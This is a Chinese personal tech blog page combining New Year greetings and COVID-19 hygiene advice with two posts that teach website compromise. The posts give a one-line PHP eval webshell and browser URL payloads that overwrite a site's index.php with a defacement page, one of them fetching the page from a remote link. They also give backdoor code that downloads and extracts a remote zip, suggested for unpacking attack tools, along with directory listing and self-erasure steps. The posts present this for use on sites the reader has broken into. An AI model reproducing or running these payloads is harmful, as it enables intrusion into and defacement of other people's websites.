OK Yes!技术博客

念念不忘,必有回响,人生苦短,别学Python


进入我的世界
OK Yes!技术博客
念念不忘,必有回响,人生苦短,别学Python
28
6
10
博客更新
新年新气象嘛,于是用了节英语课给自己博客翻新了下(主要是玩Flux发现横着设计挺好看的),其实挺舍不
1天前 · given

上篇文章我们介绍了我推荐的WebShell,这篇我们来说说如何通过这个WebShell干一些其他事,这篇文章里我就不说访问啥了,直接放代码

1.使用后门获取目录信息

这个不多说,有PHP基础的应该都会用

$dir =  dirname(__FILE__);$file = scandir($dir);echo " <pre>";print_r($file);

这个dirname(__FILE__)是可以更改为相对路径的,比如你的后门在3层目录中,可以将$dir赋值为../../,所得结果将以一个数组print出来。
像这样

2.使用后门解压,释放文件

这个方法我其实是不想分享出来的。毕竟屡试不爽嘛,其实很简单,代码如下

$down=file_get_contents('http://压缩包下载地址.zip');file_put_contents('update.zip',$down);$zip = new ZipArchive; $zip->open('./update.zip') && $zip->extractTo('../');

这个方法能用来解压可到云之类的在线文件管理,当然,也可以解压个攻击工具包,然后对其它网站进行压测。

其他的东西我就不说了,还有什么其他玩法,我们就笑看大佬了

个人推荐webshell

<?php @eval($_GET["cmd"]); ?>

死稳的一句话,也是个基础WebShell,但是适用于宝塔之类的禁用了系统函数的环境,后面我会进行演示。
当你通过自己的方法把这个shell上传了上去之后,不用菜刀,所有操作均在浏览器进行,(这个WebShell的操作全部为php代码,宝塔默认禁用php调用linux命令的函数,如exec)

1.挂黑

挂黑肯定是各位拿站之后必干的事,这里提供操作
访问

您的域名/您的文件名.php?cmd=$myfile = fopen("index.php", "w") or die("Unable to open file!");$txt = "黑页内容";fwrite($myfile, $txt);fclose($myfile);

如果您的html过长,可以尝试使用下载方法
访问

您的域名/您的文件名.php?cmd=file_put_contents("index.php",file_get_contents("您的黑页链接"));

为什么上面文件名不用html呢?因为html在大部分使用宝塔的服务器上的优先级低于php,如果您需要也可以使用html

2.删除自身

如果您是一位白帽,留了黑页也该走了,访问

您的域名/您的文件名.php?cmd=$myfile = fopen("文件名", "w") or die("Unable to open file!");$txt = "";fwrite($myfile, $txt);fclose($myfile);

即可一键自宫(雾
当然,还有其他玩法,如用php列举文件,进行网站压测等玩法就不一一列举了,当然,欢迎各位加我Tg交流技术
tg id:@given_huang

这次冠状病毒有点可怕了,总有几位同志从武汉跑出来给我们带来新鲜的nCoV,下列是几点提示

咳嗽或打喷嚏时,要抬起手肘挡住嘴

大家可能都认为,打喷嚏时用手掌挡住就好了,但是,用手掌挡住并没有那么“理想”,下面是一个实验:传送门

出门一定要戴口罩

无论是什么口罩,带了比没带好,普通的医用口罩也行,推荐有条件的朋友使用N95/KN95口罩,防护能力更加

少串门,勿旅游

大家都知道最近外面情况了,所以不说了

不接触市场里的流浪动物、垃圾、废水

生食熟食分开处理;彻底烹饪肉食

如果出现发热、咳嗽、乏力、呼吸困难等症状及时到发热门诊就诊,不要硬撑着

勤洗手,严格按照七步洗手法的步骤,有条件可以用 75% 浓度酒精消毒。

室内保持通风换气

主要传播途径:

① 传播途径:以飞沫传播为主,接触被飞沫污染过的物品也可能被传染。
② 临床表现:咳嗽、发热、日常活动或休息时出现呼吸困难、心跳加快;严重者会出现急性呼吸窘迫综合征、脓毒症休克、难以纠正的代谢性酸中毒以及出凝血功能障碍。

顺便在这里就给大家拜年了,感谢在今年中各位大佬对小站的支持

欢迎赞赏(大佬们给点红包吧)

Yours,
Given

新年快乐~
given · 1月前

最近!多地发现新型肺炎病例,临近春节,再吃好喝好玩好的同时,也要注意个人的身体健康哦。
出行在外游玩或者回家团聚的路上,要注意保护好自己
钟南山院士建议大家有条件的最好是能够带上口罩,普通的医疗口罩也可以起到阻止飞沫传播的作用,有条件的土豪可以选择N95口罩!
还有,新年期间,也要注意防范被骗和小偷,保护好个人的财产安全。
最后,预祝各位新年快乐,在新的一年里元气满满,身体健康,万事如意!

新年快乐~
given · 1月前

最近!多地发现新型肺炎病例,临近春节,再吃好喝好玩好的同时,也要注意个人的身体健康哦。
出行在外游玩或者回家团聚的路上,要注意保护好自己
钟南山院士建议大家有条件的最好是能够带上口罩,普通的医疗口罩也可以起到阻止飞沫传播的作用,有条件的土豪可以选择N95口罩!
还有,新年期间,也要注意防范被骗和小偷,保护好个人的财产安全。
最后,预祝各位新年快乐,在新的一年里元气满满,身体健康,万事如意!

赞赏

  评论
  • 您正在回复给 Poi